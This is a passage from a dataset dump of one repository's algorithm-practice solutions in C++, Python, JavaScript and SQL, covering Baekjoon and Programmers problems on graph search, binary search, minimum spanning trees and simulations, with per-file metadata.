+ dx[i];\n int ny = y + dy[i];\n\n if(arr[nx][ny] && !visited[nx][ny]) dfs(nx, ny);\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int num = 0;\n cin >> n >> m;\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < m ; j++) {\n cin >> arr[i][j];\n }\n }\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < m ; j++) {\n if(arr[i][j] == 1 && !visited[i][j]) {\n dfs(i, j);\n num++;\n maxVal = max(maxVal, cnt);\n cnt = 0;\n }\n }\n }\n\n cout << num << '\\n' << maxVal;\n\n return 0;\n}"},{"alpha_fraction":0.4854961931705475,"alphanum_fraction":0.5297709703445435,"avg_line_length":13.909090995788574,"blob_id":"6e7e683b5241ff9c6293888fe36958940937a3e6","content_id":"29ba31e98a8496e3325baa1bed15c01e96f90286","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":715,"license_type":"no_license","max_line_length":70,"num_lines":44,"path":"/BOJ/Greedy/15903.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 15903번: 카드 합체 놀이\nDATE: 2021-01-10\n*/\n#include <iostream>\n#include <queue>\nusing namespace std;\n\nint main() {\n\tios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\n\tint n, m, a;\n\tlong long num1, num2, sum = 0;\n\tpriority_queue<long long, vector <long long>, greater <long long>>pq;\n\t\n\tcin >> n >> m;\n\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> a;\n\t\tpq.push(a);\n\t}\n\t\n\tfor (int j = 0; j < m; j++) {\n\t\t//가장 작은 두 값\n\t\tnum1 = pq.top();\n\t\tpq.pop();\n\t\tnum2 = pq.top();\n\t\tpq.pop();\n\n\t\t//더한 값으로 덮어쓰기\n\t\tpq.push(num1 + num2);\n\t\tpq.push(num1 + num2);\n\t}\n\n\t//모든 카드 값 더하기\n\tfor (int k = 0; k < n; k++) {\n\t\tsum += pq.top();\n\t\tpq.pop();\n\t}\n\n\tcout << sum;\n\n\treturn 0;\n}"},{"alpha_fraction":0.4328097701072693,"alphanum_fraction":0.47294938564300537,"avg_line_length":14.94444465637207,"blob_id":"14864c3f2e1299eb2a1688cb43232729b098a4da","content_id":"3c1b51fa0649192d42d5c4d5f87142d9891b287f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":577,"license_type":"no_license","max_line_length":59,"num_lines":36,"path":"/BOJ/BFS_DFS/15652.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 15652번: N과 M (4)\n2022-01-06\nBacktracking\n*/\n#include <iostream>\n#define MAX 9\nusing namespace std;\n\nint n, m;\nint arr[MAX];\nbool visited[MAX];\n\nvoid dfs(int num, int cnt){\n if(cnt == m) {\n for(int i = 0 ; i < m ; i++) cout << arr[i] << \" \";\n cout << '\\n';\n return;\n }\n\n for(int i = num ; i <= n ; i++){\n arr[cnt] = i;\n visited[i] = true;\n dfs(i, cnt + 1);\n visited[i] = false;\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> n >> m;\n\n dfs(1, 0);\n\n return 0;\n}"},{"alpha_fraction":0.47894737124443054,"alphanum_fraction":0.5105262994766235,"avg_line_length":16.31818199157715,"blob_id":"fd47cb694e93e865f1a5e0806847657a5dfa5ac8","content_id":"c1055e49b17d10f838b1e80bb3346f4a22602686","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":384,"license_type":"no_license","max_line_length":41,"num_lines":22,"path":"/programmers/Level 1/budget.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 1: 예산\ndate: 2022-03-30\n*/\n#include <string>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint solution(vector<int> d, int budget) {\n int answer = 0, sum = 0;\n \n sort(d.begin(), d.end());\n \n for(int i = 0 ; i < d.size() ; i++) {\n if((sum += d[i]) <= budget) {\n answer++;\n }\n }\n \n return answer;\n}"},{"alpha_fraction":0.43449297547340393,"alphanum_fraction":0.4581791162490845,"avg_line_length":19.484848022460938,"blob_id":"66227b6c6e3e502252790d4a8c7ed119efc7ade7","content_id":"e091179d31774144d650a9a82bf8b756d27d0ec6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1369,"license_type":"no_license","max_line_length":59,"num_lines":66,"path":"/BOJ/Brute Force/1339.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 1339번: 단어 수학\nDATE: 2021-07-18\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nchar alpha[256];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n vector<string> word;\n vector<char> ch;\n string str;\n int n, maximum=-1;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n cin >> str;\n word.push_back(str);\n }\n\n for(int i = 0 ; i < word.size() ; i++){\n cin >> word[i];\n for(int j = 0 ; j < word[i].length() ; j++){\n ch.push_back(word[i][j]);\n }\n }\n\n sort(ch.begin(), ch.end());\n ch.erase(unique(ch.begin(), ch.end()), ch.end());\n\n vector<int> number;\n //vector<int> number(ch.size()); => 시간 초과\n\n for(int i = 0 ; i < ch.size() ; i++){\n number.push_back(9 - i);\n }\n\n sort(number.begin(), number.end());\n\n do{\n int sum=0;\n\n for(int i = 0 ; i < ch.size() ; i++){\n alpha[ch[i]] = number[i];\n }\n\n for(int i = 0 ; i < word.size() ; i++){\n int res = 0;\n for(int j = 0 ; j < word[i].length() ; j++){\n res = res * 10 + alpha[word[i][j]];\n }\n sum += res;\n }\n\n maximum = max(maximum, sum);\n\n }while(next_permutation(number.begin(), number.end()));\n\n cout << maximum;\n\n return 0; \n}"},{"alpha_fraction":0.4552631676197052,"alphanum_fraction":0.4894736707210541,"avg_line_length":15.565217018127441,"blob_id":"1ecf06b4bfe41228be55d52517f683987ee605a1","content_id":"dccdf5e2d0ce2c94145c7a34036cb38b4e6cd038","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":406,"license_type":"no_license","max_line_length":34,"num_lines":23,"path":"/programmers/Level 1/middle_letter.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 1: 가운데 글자 가져오기\n//2021-10-08\n#include <string>\n#include <vector>\n\nusing namespace std;\n\nstring solution(string s) {\n string answer = \"\";\n int idx = s.length() / 2;\n \n if(s.length() % 2 == 0) {\n //짝수\n answer += s[idx - 1];\n answer += s[idx];\n }\n else {\n //홀수\n answer += s[idx];\n }\n \n return answer;\n}"},{"alpha_fraction":0.34927114844322205,"alphanum_fraction":0.3749271035194397,"avg_line_length":27.131147384643555,"blob_id":"180ffdcd01de3c236d5a5daddc37c075456786ce","content_id":"316088d903bbe72b15a9e7c6d61a6721a00a7aac","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1715,"license_type":"no_license","max_line_length":79,"num_lines":61,"path":"/programmers/Level 1/push_keypad.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 1 : Push keypad\n//2020 KAKAO Internship\n//2021-04-28\n#include <string>\n#include <vector>\n#include <cmath>\n\nusing namespace std;\n\nstring solution(vector<int> numbers, string hand) {\n string answer = \"\";\n int left_x=3, left_y=0, right_x=3, right_y=2;\n \n for(int i = 0 ; i < numbers.size() ; i++){\n if(numbers[i] == 1 || numbers[i] == 4 || numbers[i] == 7){ //1 4 7\n answer += 'L';\n left_x = numbers[i] / 3;\n left_y = 0;\n }\n else if(numbers[i] == 3 || numbers[i] == 6 || numbers[i] == 9){ //3 6 9\n answer += 'R';\n right_x = numbers[i] / 3 - 1;\n right_y = 2;\n }\n else{ //2 5 8 0\n if(numbers[i] == 0)\n numbers[i] = 11;\n \n int tmp_x = numbers[i] / 3;\n int tmp_y = 1;\n int dstLeft = abs(tmp_x-left_x) + abs(tmp_y - left_y);\n int dstRight = abs(tmp_x-right_x) + abs(tmp_y-right_y);\n \n if(dstLeft < dstRight) {\n answer += 'L';\n left_x = tmp_x;\n left_y = tmp_y;\n }\n else if(dstLeft > dstRight){\n answer += 'R';\n right_x = tmp_x;\n right_y = tmp_y;\n }\n else{\n if(hand == \"left\"){\n answer += 'L';\n left_x = tmp_x;\n left_y = tmp_y;\n }\n else if(hand == \"right\"){\n answer += 'R';\n right_x = tmp_x;\n right_y = tmp_y;\n }\n }\n \n }\n }\n \n return answer;\n}"},{"alpha_fraction":0.5526315569877625,"alphanum_fraction":0.5986841917037964,"avg_line_length":24.41666603088379,"blob_id":"7977d5d1d360c9a129ab409b802c5732b68e1eca","content_id":"4d5e0826ad0632bedb86f38952799f543b57d2cd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":346,"license_type":"no_license","max_line_length":117,"num_lines":12,"path":"/programmers/Level 1/number_strings_and_english_words.js","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 1: 숫자 문자열과 영단어\n2021 카카오 채용연계형 인턴십\n2021-12-21\n*/\nfunction solution(s) {\n const arr = [/zero/gi, /one/gi, /two/gi, /three/gi, /four/gi, /five/gi, /six/gi, /seven/gi, /eight/gi, /nine/gi];\n\n for (let i = 0; i < arr.length; i++) s = s.replace(arr[i], i)\n\n return parseInt(s);\n}"},{"alpha_fraction":0.38256657123565674,"alphanum_fraction":0.4140435755252838,"avg_line_length":16.595745086669922,"blob_id":"38276a9816dc2ae93c03e71ca693061c07396248","content_id":"8d64cfe8849e7887e42899bbc7b3090c7cf454e7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":838,"license_type":"no_license","max_line_length":58,"num_lines":47,"path":"/BOJ/Binary Search/2805.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//BOJ 2805번: 나무 자르기\n//2021-05-25\n//Binary Search\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n long long n, m, max=-1;\n cin >> n >> m;\n\n int arr[n];\n for(int i = 0 ; i < n ; i++){\n cin >> arr[i];\n }\n\n sort(arr, arr+n);\n\n long long start = 0;\n long long end = arr[n - 1];\n long long mid;\n\n while(start <= end){\n long long sum = 0;\n mid = (start + end) / 2;\n\n for(int i = 0 ; i < n ; i++){\n if(arr[i] - mid > 0)\n sum += arr[i] - mid;\n }\n\n if(sum >= m){\n start = mid + 1;\n if(mid > max)\n max = mid;\n }\n else{\n end = mid - 1;\n }\n\n }\n\n cout << max;\n \n return 0;\n}"},{"alpha_fraction":0.49735450744628906,"alphanum_fraction":0.5155790448188782,"avg_line_length":20.54430389404297,"blob_id":"485c46e6435e68d8c33d40d3e5fbaef8ee067501","content_id":"30bdae48f9692f0bc187c7549b667479d372adff","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1715,"license_type":"no_license","max_line_length":78,"num_lines":79,"path":"/BOJ/MST/4386.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 4386번: 별자리 만들기\n2021-12-29\nKruskal Algorithm\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#include <math.h>\n#define MAX 101\nusing namespace std;\n\nvector<pair<double, double>> coordinate;\nvector<pair<double, pair<double, double>>> edge;\nint parent[MAX];\n\nint getParent(int x) {\n if(parent[x] == x) return x;\n return parent[x] = getParent(parent[x]);\n}\n\nvoid unionParent(int a, int b) {\n a = getParent(a);\n b = getParent(b);\n\n if(a < b) parent[b] = a;\n else parent[a] = b;\n}\n\nint findParent(int a, int b) {\n a = getParent(a);\n b = getParent(b);\n\n if(a == b) return 1;\n else return 0;\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n double ans = 0;\n int n;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++) {\n double x, y;\n cin >> x >> y;\n coordinate.push_back({x, y});\n }\n\n for(int i = 0 ; i < coordinate.size() ; i++) {\n double x_a = coordinate[i].first;\n double y_a = coordinate[i].second;\n\n for(int j = i + 1 ; j < coordinate.size() ; j++){\n double x_b = coordinate[j].first;\n double y_b = coordinate[j].second;\n \n double distance = sqrt(pow((x_b - x_a), 2) + pow((y_b - y_a), 2));\n edge.push_back({distance, {i + 1, j + 1}});\n }\n }\n\n sort(edge.begin(), edge.end());\n for(int i = 1 ; i <= n ; i++) parent[i] = i;\n\n for(int i = 0 ; i < edge.size() ; i++) {\n int a = edge[i].second.first;\n int b = edge[i].second.second;\n double c = edge[i].first;\n\n if(findParent(a, b)) continue;\n unionParent(a, b);\n ans += c;\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.40582525730133057,"alphanum_fraction":0.4407767057418823,"avg_line_length":18.452829360961914,"blob_id":"02bfb8fb89328f9deb1905581b8f6e07243afe0b","content_id":"27170bde7d2be2abf0886e7e1dd8ae66344192b3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1068,"license_type":"no_license","max_line_length":70,"num_lines":53,"path":"/BOJ/BFS_DFS/14889.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 14889번: 스타트와 링크\nDATE: 2022-02-04\nBacktracking\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint n, minVal = 1e9;\nint arr[21][21];\nbool visited[21]; // 팀 배정\n\nvoid dfs(int cnt, int num) {\n if(cnt == n / 2) {\n int start = 0, link = 0;\n\n for(int i = 1 ; i <= n ; i++) {\n for(int j = 1 ; j <= n ; j++) {\n if(visited[i] && visited[j]) start += arr[i][j];\n else if(!visited[i] && !visited[j]) link += arr[i][j];\n }\n }\n\n minVal = min(minVal, abs(start - link));\n\n return;\n }\n\n for(int i = num ; i < n ; i++) { // n을 포함하면 중복 발생\n if(visited[i]) continue;\n\n visited[i] = true;\n dfs(cnt + 1, i + 1);\n visited[i] = false;\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n cin >> n;\n\n for(int i = 1 ; i <= n ; i++){\n for(int j = 1 ; j <= n ; j++){\n cin >> arr[i][j];\n }\n }\n\n dfs(0, 1); \n cout << minVal;\n\n return 0;\n}"},{"alpha_fraction":0.686956524848938,"alphanum_fraction":0.7200000286102295,"avg_line_length":25.136363983154297,"blob_id":"49422fbb7f8c4d3ee12991b0c736c13acbd9c019","content_id":"fa63b836765945cc31a701a3030b576c8aa033a2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1224,"license_type":"no_license","max_line_length":92,"num_lines":44,"path":"/programmers/SQL/JOIN.md","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# JOIN\n\n**[1. 없어진 기록 찾기 (Level 3)](https://programmers.co.kr/learn/courses/30/lessons/59042)**\n\n```sql\nSELECT OUTS.ANIMAL_ID, OUTS.NAME\nFROM ANIMAL_INS INS RIGHT JOIN ANIMAL_OUTS OUTS ON INS.ANIMAL_ID = OUTS.ANIMAL_ID\nWHERE INS.ANIMAL_ID IS NULL\nORDER BY INS.ANIMAL_ID\n```\n\n<br/>\n\n**[2. 있었는데요 없었습니다 (Level 3)](https://programmers.co.kr/learn/courses/30/lessons/59043)**\n\n```sql\nSELECT INS.ANIMAL_ID, INS.NAME\nFROM ANIMAL_INS INS INNER JOIN ANIMAL_OUTS OUTS ON INS.ANIMAL_ID = OUTS.ANIMAL_ID\nWHERE INS.DATETIME > OUTS.DATETIME\nORDER BY INS.DATETIME\n```\n\n<br/>\n\n**[3. 오랜 기간 보호한 동물(1) (Level 3)](https://programmers.co.kr/learn/courses/30/lessons/59044)**\n\n```sql\nSELECT INS.NAME, INS.DATETIME\nFROM ANIMAL_INS INS LEFT JOIN ANIMAL_OUTS OUTS ON INS.ANIMAL_ID = OUTS.ANIMAL_ID\nWHERE OUTS.ANIMAL_ID IS NULL\nORDER BY INS.DATETIME\nLIMIT 3\n```\n\n<br/>\n\n**[4. 보호소에서 중성화한 동물 (Level 4)](https://programmers.co.kr/learn/courses/30/lessons/59045)**\n\n```sql\nSELECT INS.ANIMAL_ID, INS.ANIMAL_TYPE, INS.NAME\nFROM ANIMAL_INS INS INNER JOIN ANIMAL_OUTS OUTS ON INS.ANIMAL_ID = OUTS.ANIMAL_ID\nWHERE INS.SEX_UPON_INTAKE != OUTS.SEX_UPON_OUTCOME\nORDER BY INS.ANIMAL_ID\n```\n"},{"alpha_fraction":0.4602609872817993,"alphanum_fraction":0.4887307286262512,"avg_line_length":17.755556106567383,"blob_id":"b862c28deecb012ed3cfe98ecbe671b0376807f2","content_id":"1994407b0c62a59eba2d823a3015b342750dacd3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":853,"license_type":"no_license","max_line_length":85,"num_lines":45,"path":"/programmers/Level 3/connecting_islands.py","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# programmers Level 3: 섬 연결하기\n# date: 2022-06-11\nparent = []\n\ndef getParent(x):\n if x == parent[x]: \n return x\n parent[x] = getParent(parent[x])\n return parent[x]\n\ndef findParent(a, b):\n a = getParent(a)\n b = getParent(b)\n \n if a == b: \n return 1\n else:\n return 0\n \ndef unionParent(a, b):\n a = getParent(a)\n b = getParent(b)\n \n if a < b:\n parent[b] = a\n else:\n parent[a] = b\n\ndef solution(n, costs):\n answer = 0\n \n for i in range(n + 1):\n parent.append(i)\n \n for i in range(len(costs)):\n costs[i][0], costs[i][1], costs[i][2] = costs[i][2], costs[i][0], costs[i][1]\n \n costs.sort()\n \n for i in costs:\n if not findParent(i[1], i[2]):\n unionParent(i[1], i[2])\n answer += i[0]\n \n return answer"},{"alpha_fraction":0.3847549855709076,"alphanum_fraction":0.43557170033454895,"avg_line_length":17.399999618530273,"blob_id":"9375f90af62fd6f5d4c36e270ea01f1ea5f0ba16","content_id":"c106686b83ed0c50338beda22d20f98d25c6821a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":577,"license_type":"no_license","max_line_length":58,"num_lines":30,"path":"/BOJ/Mathematics/1929.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1929번: 소수 구하기\nDATE: 2021-10-10\n*/\n#include <iostream>\n#include <math.h>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int arr[1000001];\n int m, n;\n cin >> m >> n;\n\n for(int i = 2 ; i <= n ; i++) {\n arr[i] = i;\n }\n\n for(int i = 2 ; i <= sqrt(n) ; i++) {\n if(arr[i] == 0) continue; //이미 소수가 아님\n\n for(int j = i * i ; j <= n ; j += i) arr[j] = 0;\n }\n\n for(int i = m ; i <= n ; i++) {\n if(arr[i] != 0) cout << arr[i] << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.41812562942504883,"alphanum_fraction":0.4479917585849762,"avg_line_length":19.4526309967041,"blob_id":"fcdbaf66915e9f65739fc99018a8331f483728b5","content_id":"1ea9cfcbbd534755a480eddbbcdb8a2f89e9d218","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2090,"license_type":"no_license","max_line_length":69,"num_lines":95,"path":"/BOJ/Implementation/3190.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 3190번: 뱀\nDATE: 2022-03-24\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#define MAX 101\nusing namespace std;\n\nint n;\nint board[MAX][MAX]; // 0: 빈 칸, 1: 뱀, -1: 사과 \nvector<pair<int, char>> rotation;\nvector<pair<int,int>> snake;\nint dr[4] = {0, 1, 0, -1};\nint dc[4] = {1, 0, -1, 0};\n\nbool check_range(int r, int c){\n if(r < 1 || c < 1 || r > n || c > n) return false; // 벽에 부딪힌 경우\n if(board[r][c] == 1) return false; // 몸에 부딪히는 경우\n return true;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int k, l;\n int r, c, x;\n char ch;\n\n cin >> n >> k;\n\n int hr = 1, hc = 1;\n int dir = 0;\n\n board[1][1] = 1;\n snake.push_back({1, 1});\n\n while(k--){\n cin >> r >> c;\n board[r][c] = -1;\n }\n\n cin >> l;\n\n while(l--){\n cin >> x >> ch;\n rotation.push_back({x, ch});\n }\n\n sort(rotation.begin(), rotation.end());\n\n int sec = 1;\n\n while(1){\n bool apple = false;\n\n // 1. 머리 다음칸으로 이동\n int new_hr = hr + dr[dir];\n int new_hc = hc + dc[dir];\n\n if(!check_range(new_hr, new_hc)) break; // 종료\n if(board[new_hr][new_hc] == -1) apple = true; // 이동한 칸에 사과 존재\n\n board[new_hr][new_hc] = 1;\n snake.insert(snake.begin(), {new_hr, new_hc}); // 바뀐 머리 위치 삽입\n hr = new_hr;\n hc = new_hc;\n\n // 2. 이동한 칸에 사과 없는 경우 => 꼬리 위치한 칸 비워줌\n if(!apple) {\n board[snake.back().first][snake.back().second] = 0;\n snake.pop_back();\n }\n \n // 3. 방향 회전\n if(rotation.front().first == sec){\n if(rotation.front().second == 'D'){\n if(dir == 3) dir = 0;\n else dir += 1;\n }\n else{ \n if(dir == 0) dir = 3;\n else dir -= 1;\n }\n\n rotation.erase(rotation.begin());\n }\n\n sec++;\n }\n\n cout << sec;\n\n return 0;\n}"},{"alpha_fraction":0.35209712386131287,"alphanum_fraction":0.40176600217819214,"avg_line_length":18.717391967773438,"blob_id":"797889d469e95f4b946aeffaa7e0c789e966920c","content_id":"9fce1b0140a2cf46edc577a6fdda9ee59adbfdb4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":940,"license_type":"no_license","max_line_length":67,"num_lines":46,"path":"/BOJ/Brute Force/15954.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 15954번: 인형들\nDATE: 2021-02-01\n*/\n#include <iostream>\n#include <cmath>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int arr[500];\n int n, k;\n cin >> n >> k;\n\n long double MIN = 10000000000000000;\n\n for(int i = 0 ; i < n ; i++){\n cin >> arr[i];\n }\n\n while(k <= n){\n for(int i = 0 ; i < n-k+1 ; i++){\n long double sum=0, m, variance, std;\n\n for(int j = i ; j < k+i ; j++){ //연속된 k개의 수 합\n sum += arr[j];\n }\n \n m = sum / k;\n \n sum = 0;\n for(int j = i ; j < k+i ; j++) sum += pow(arr[j]-m, 2);\n \n variance = sum / k; //분산\n std = sqrt(variance); //표준편차\n MIN = min(MIN, std);\n }\n\n k++;\n }\n \n cout.precision(11);\n cout << fixed << MIN;\n \n return 0;\n}"},{"alpha_fraction":0.3757396340370178,"alphanum_fraction":0.40976330637931824,"avg_line_length":20.140625,"blob_id":"ee3f3f03e1a4d7b58b7ac4db966ec632e5ac9ee9","content_id":"1f92e8bad299d82e781e3c62387a039d75f1bbf4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1378,"license_type":"no_license","max_line_length":75,"num_lines":64,"path":"/BOJ/BFS_DFS/7562.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 7562번: 나이트의 이동\nDATE: 2021-01-25\nBFS\n*/\n#include <iostream>\n#include <queue>\n#include <string.h>\n#define MAX 300\n\nusing namespace std;\nint chess[MAX][MAX];\n//시계 반대 방향\nint dx[] = { -2, -1, 1, 2, 2, 1, -1, -2 };\nint dy[] = { -1, -2, -2, -1, 1, 2, 2, 1 };\nint l, str_x, str_y, dst_x, dst_y;\n\nvoid bfs() {\n queue<pair<int, int>> q;\n pair<int, int> p;\n\n q.push(make_pair(str_x, str_y));\n\n while (!q.empty()) {\n p = q.front();\n q.pop();\n\n if (p.first == dst_x && p.second == dst_y) {\n cout << chess[dst_x][dst_y] - 1 << \"\\n\";\n break;\n }\n\n for (int i = 0; i < 8; i++) {\n int nx = p.first + dx[i];\n int ny = p.second + dy[i];\n \n if(nx < 0 || ny < 0 || nx >= l || ny >= l)\n continue;\n if (nx >= 0 && ny >= 0 && nx < l && ny < l && !chess[nx][ny]) {\n q.push(make_pair(nx, ny));\n chess[nx][ny] = chess[p.first][p.second] + 1;\n }\n }\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int t;\n cin >> t;\n\n for (int i = 0; i < t; i++) {\n cin >> l;\n cin >> str_x >> str_y;\n cin >> dst_x >> dst_y;\n\n memset(chess, 0, sizeof(chess));\n chess[str_x][str_y] = 1;\n \n bfs();\n }\n\n return 0;\n}"},{"alpha_fraction":0.43562230467796326,"alphanum_fraction":0.504291832447052,"avg_line_length":12.735294342041016,"blob_id":"6c38a0e0e9e80d2b091a92bc9e1c9ff5167a10c3","content_id":"45d2894983816ee211858b39a728327c1d9de837","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":480,"license_type":"no_license","max_line_length":58,"num_lines":34,"path":"/BOJ/Implementation/1110.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1110번: 더하기 사이클\n2021-03-23\n*/\n#include <iostream>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\tint n, units, tens, num, cycle=0;\n\tcin >> n;\n\n\tnum = n;\n \n\twhile (1) {\n\t\tcycle++;\n\n\t\tif (num < 10) {\n\t\t\tnum = 10 * num + num;\n\t\t}\n\t\telse if (num >=10) {\n\t\t\tunits = num % 10;\n\t\t\ttens = num / 10;\n\t\t\tnum = 10 * units + (units+tens)%10;\n\t\t}\n\n\t\tif (num == n) {\n\t\t\tcout << cycle << \"\\n\";\n\t\t\tbreak;\n\t\t}\n\t}\n\n\treturn 0;\n}"},{"alpha_fraction":0.30705395340919495,"alphanum_fraction":0.3286307156085968,"avg_line_length":18.770492553710938,"blob_id":"3fee39d55d6ed0404ce6ac134a10013919078218","content_id":"1dd94a4765fdfb9239891d02c6c9f2757eb7eb09","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1237,"license_type":"no_license","max_line_length":87,"num_lines":61,"path":"/BOJ/Binary Search/2512.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//BOJ 2512번: 예산\n//2021-05-25\n//Binary Search\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m, sum=0, ans=-1;\n cin >> n;\n\n int arr[n];\n for(int i = 0 ; i < n ; i++){\n cin >> arr[i];\n sum += arr[i];\n }\n\n sort(arr, arr+n);\n\n cin >> m;\n\n if(sum <= m){\n cout << arr[n - 1];\n }\n else{\n int start = 0;\n int end = m;\n int mid;\n\n while(start <= end){\n //mid => Ư���� ���� ���Ѿ�\n sum = 0;\n mid = (start + end) / 2;\n\n for(int i = 0 ; i < n ; i++){\n if(arr[i] <= mid)\n sum += arr[i];\n else\n sum += mid;\n }\n \n cout << \"start: \" << start << \" end: \" << end << \" [mid: \" << mid << \"]\\n\";\n cout << \"sum: \" << sum << \"\\n\\n\";\n\n if(sum <= m){\n start = mid + 1;\n if(mid > ans) \n ans = mid;\n }\n else if(sum > m){\n end = mid - 1;\n }\n }\n\n cout << ans;\n\n }\n\n return 0;\n}"},{"alpha_fraction":0.3388090431690216,"alphanum_fraction":0.37029433250427246,"avg_line_length":19.30555534362793,"blob_id":"fc571c6be8f700862f5e882fe8c8debdef40080e","content_id":"7137d758717dcdc6ded3f88fa1288f03260abe8c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1471,"license_type":"no_license","max_line_length":70,"num_lines":72,"path":"/BOJ/BFS_DFS/2468.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 2468번: 안전 영역\nDATE: 2021-02-06\nDFS\n*/\n#include <iostream>\n#include <cstring>\n#include <vector>\n#include <algorithm>\n#define MAX 101\nusing namespace std;\n\nint area[MAX][MAX];\nint tmp[MAX][MAX];\nint dx[] = {-1, 0, 1, 0};\nint dy[] = {0, 1, 0, -1};\nint n;\n\nvoid dfs(int x, int y){\n tmp[x][y] = 0;\n \n for(int i = 0 ; i < 4 ; i++){\n int nx = x + dx[i];\n int ny = y + dy[i];\n if(nx >= 0 && ny >= 0 && nx < n && ny < n && tmp[nx][ny] == 1)\n dfs(nx, ny);\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int ans = -1, max_value = 0;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n for(int j = 0 ; j < n ; j++){\n cin >> area[i][j];\n max_value = max(area[i][j], max_value);\n }\n }\n\n memcpy(tmp, area, sizeof(area));\n\n for(int k = 0 ; k < max_value ; k++){\n int cnt = 0;\n\n for(int i = 0 ; i < n ; i++){\n for(int j = 0 ; j < n ; j++){\n if(area[i][j] <= k){\n tmp[i][j] = 0;\n }\n else tmp[i][j] = 1;\n }\n }\n\n for(int i = 0 ; i < n ; i++){\n for(int j = 0 ; j < n ; j++){\n if(tmp[i][j] == 1){\n cnt++;\n dfs(i, j);\n }\n }\n }\n \n memcpy(tmp, area, sizeof(area));\n ans = max(ans, cnt);\n }\n\n cout << ans;\n\n return 